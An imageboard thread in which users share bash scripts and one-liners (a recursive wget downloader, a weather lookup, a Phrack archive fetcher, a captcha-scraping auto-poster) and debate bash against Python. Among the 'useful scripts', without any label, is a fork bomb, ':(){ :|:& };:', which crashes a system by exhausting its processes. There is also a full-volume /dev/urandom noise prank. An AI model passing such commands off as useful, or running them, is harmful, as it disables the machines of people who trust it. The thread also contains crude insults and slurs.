ITT we Post useful scripts

ITT we Post useful scripts

Other urls found in this thread:

wttr.in/$1
digitalocean.com/community/tutorials/how-to-edit-the-sudoers-file-on-ubuntu-and-centos
stackoverflow.com/a/1885534
github.com/nvbn/thefuck
boards.Cred
google.com/recaptcha/api/challenge?k=6Ldp2bsSAAAAAAJ5uyx_lx34lJeEpTLVkP5k04qc
google.com/recaptcha/api/image?c=$CHALLENGE
phrack.org/archives/tgz/phrack$counter.tar.gz
twitter.com/SFWRedditImages

#!/bin/bash

[ $1 ] && [ $2 ] || { echo "usage $0 "; exit; }

wget -r -H -np -nd -e robots=off -A $1 $2


download files (like .webm) from pages (like Cred Forums)

alias fuck=(sudo !!)
or sth like that

:(){ :|:& };:

Last one was here btw.

Is it possible for a script to use sudo so when you run it you dont have to type the password?

function weather()
{
s=-37
if [ -z $2 ]; then
s=-7
fi
w=`curl --silent wttr.in/$1 | head $s`
echo "${w}"
}

weather - current weather (auto location)
weather location - current weather for specified city
weather location x - 3 day weather for specified city (x can be any string)

shopt -s autocd

You can if you add your user to the suoders file:
visudo


digitalocean.com/community/tutorials/how-to-edit-the-sudoers-file-on-ubuntu-and-centos

Thanks

alias top='spd-say "KEK"'
alias ayy='echo lmao'

Linux newfag here, is there some sort of command I can use to prompt for confirmation, which will return zero on yes and nonzero on no?

stackoverflow.com/a/1885534

github.com/nvbn/thefuck
start desktop thread:
#!/bin/bash
SCREENSHOT_COMMAND="/home/gentoo/bin/nircmdc.exe savescreenshot"
FILENAME_OF_SCREENSHOT_NIX="/cygdrive/c/Users/gentoo/Pictures/scrots/Untitled.png"
FILENAME_OF_SCREENSHOT_WIN="C:\\Users\\gentoo\\Pictures\\scrots\\Untitled.png"
IMAGE_VIEWER="display.exe"
TMPCHALLENGEIMAGE="/tmp/challenge.jpg"
BROWSER_COMMAND="/cygdrive/c/Program\ Files\Nightly/firefox.exe"

BOARD_POST="boards.Cred Forums.org/g/res"
NAME="GNU/#yADb95_~"
SUBJECT=""
EMAIL="neko"
PASSWORD="$RANDOM"
COMMENT="Refreshed page $RANDOM times, saw no desktop threads. Posting a desktop thread using start_desktop_thread.sh"


TMP=`mktemp -t shitty.script.XXXX`
CHALLENGE=`curl google.com/recaptcha/api/challenge?k=6Ldp2bsSAAAAAAJ5uyx_lx34lJeEpTLVkP5k04qc | head -n 5 | tail -n 1 | awk '{print $3}' | awk "{gsub(/'|,/, \"\"); print}"`

#echo $CHALLENGE
curl google.com/recaptcha/api/image?c=$CHALLENGE -o $TMPCHALLENGEIMAGE
echo "Enter the captcha:"
$($IMAGE_VIEWER $TMPCHALLENGEIMAGE)&
read RESPONSE_TO_CHALLENGE


if [ `uname` = "CYGWIN_NT-6.1-WOW64" ]; then
echo "WINDOWS SYSTEM DETECTED"
taskkill /f /im $IMAGE_VIEWER
$($SCREENSHOT_COMMAND $FILENAME_OF_SCREENSHOT_WIN)
else
echo "LOONIX OR OS GAY OR BSD SYSTEM DETECTED"
kill -9 pidof $IMAGE_VIEWER
$($SCREENSHOT_COMMAND $FILENAME_OF_SCREENSHOT_NIX)
fi

curl -A tidus -F resto="$BOAD_POST" -F "name=$NAME" -F "email=$EMAIL" -F "sub=$SUBJECT" -F "com=$COMMENT" -F "upfile=@$FILENAME_OF_SCREENSHOT_NIX" -F "pwd=$PASSWORD" -F "mode=regist" -F "submit=submit" -F "recaptcha_response_field=$RESPONSE_TO_CHALLENGE" -F "recaptcha_challenge_field=$CHALLENGE" $BOARD_POST > $TMP

rm $TMPCHALLENGEIMAGE

if [ "$URL" = "" ]; then
URL=`cat $TMP | egrep -o 'thread:0,no:[0-9]+' | egrep -o '[0-9]{4,}'`
echo "posting in $BOARD_VIEW/$URL"
nohup $(`BROWSER_COMMAND $BOARD_VIEW/$URL`) &
fi

rm -f $TMP
exit 0

apt-get install gentoo

> 2016
> not using funtoo

mfw this actually works

I see no face

:^)

From the intredasting one liner department:
Show percent %cpu and %memory of what's running on you're display.
ps -o pid,comm,pmem,pcpu,uname -C $(xlsclients | cut -d" " -f3 | paste - -s -d ',')

#!/bin/zsh

if [ -z $1 ] ; then
return
fi

date
sleep $1;
aplay /dev/urandom


>mfw I forget my volume is all the way up

>zsh
Stop reading there.

How long did it take for you guys to learn bash? Is it big like any other language?

poo

>implying ``we'' don't know the bare minimum basics then just Google or go to ExpertSexChange/StackExchange when we need to do anything beyond while loops or basic comparisons

It didn't take long, less than year. There's a lot of quirks in the language and the sooner you start using something like Python or Perl instead the better off you'll be.

I guess I wanted to believe.

Also this.

who is sawako and why do you love her?

Python/Pearl can replace bash and do same things on your machine? I dont understand what you meant by your post sorry

>Pearl

dude what? i was asking you fucking reading comprehension autist

Pretty much, yeah. Bash has a lot of quirks/edge cases that tend to trip up newbies. It also suffers from the fact that distributions don't always ship the latest/same version (OSX notoriously ships a really old version of Bash for licensing reasons).

Python (more than Perl) is a really consistent language and the chances of you running into some bizarre behavior is minimal. It's considered a "batteries included" language so you get a lot of functionality out of the box (json, xml parsing, http requests, OS operations like creating files etc).

You are the actual autist that cannot notice you used the word Pearl when you meant Perl.

Thanks a lot user

...

list commands, aliases, builtins, keywords and functions on you're system by search-string;
compgen -abckA function | grep

#!/bin/bash

counter=1
mkdir PhrackIssues
cd PhrackIssues/
while [ $counter -lt 70 ]
do
echo "Donwloading phrack >"$counter
wget -c phrack.org/archives/tgz/phrack$counter.tar.gz
counter=$(( $counter + 1 ))
done
echo "Done!"

Learn bash + C it's really only what you need.
Might want to learn Perl besides or you'll go the python route

In the long run, is it still better to go with Python since you can do broader range of different things with it, in different areas I mean(like web for example), because I understand that bash is limited only on *nix platforms?

Depends what you want to do honestly.
You can use any language but if you like python or Perl then use/learn those

Not the user you're talking to, but python is definately useful as a general purpose language. I even substitute bash with python scripts in certain cases, since it's easier for portability.

Yes.

Python has a broader base of support these days than Perl (although Perl still has an active community). It also has a strong scientific community so if you eventually want to get into ML, NLP, or the hard sciences then Python is a good skill to have.

Look up pandas, nltk, and scipy for examples

>nltk
shiggy diggy

>counter=$(( $counter + 1 ))
Why not just counter++?

what's the alternative then

Thanks for directions anons

yeah or $counter++ ty

write your own

you keep reinventing the wheel, user

No...
Every "re-invention" is different in someway, so therefore not a "re-invention" at all

Just don't be stupid

>bash
dropped

I don't know how people put up with that utter shit. Even fish is better

have-sex-with-me

sudo have-sex-with-me


sudo have-sex-with-me -f

Is bash still relevant outside server environments and alike?

And even then Python is widely used even in those areas because of it's libraries.

No trolling, seriously.

* bash scripting, my bad

Bash scripting (more accurately shell scripting) allows one to manipulate several separate programs. Python and the like can utilize libraries, sure, but libraries are often monolithic - you can't change what's in a library, and it can be hell trying to isolate a modified library (if you can modify it at all), whereas a modified binary can be plopped anywhere outside its standard location, and utilized at will.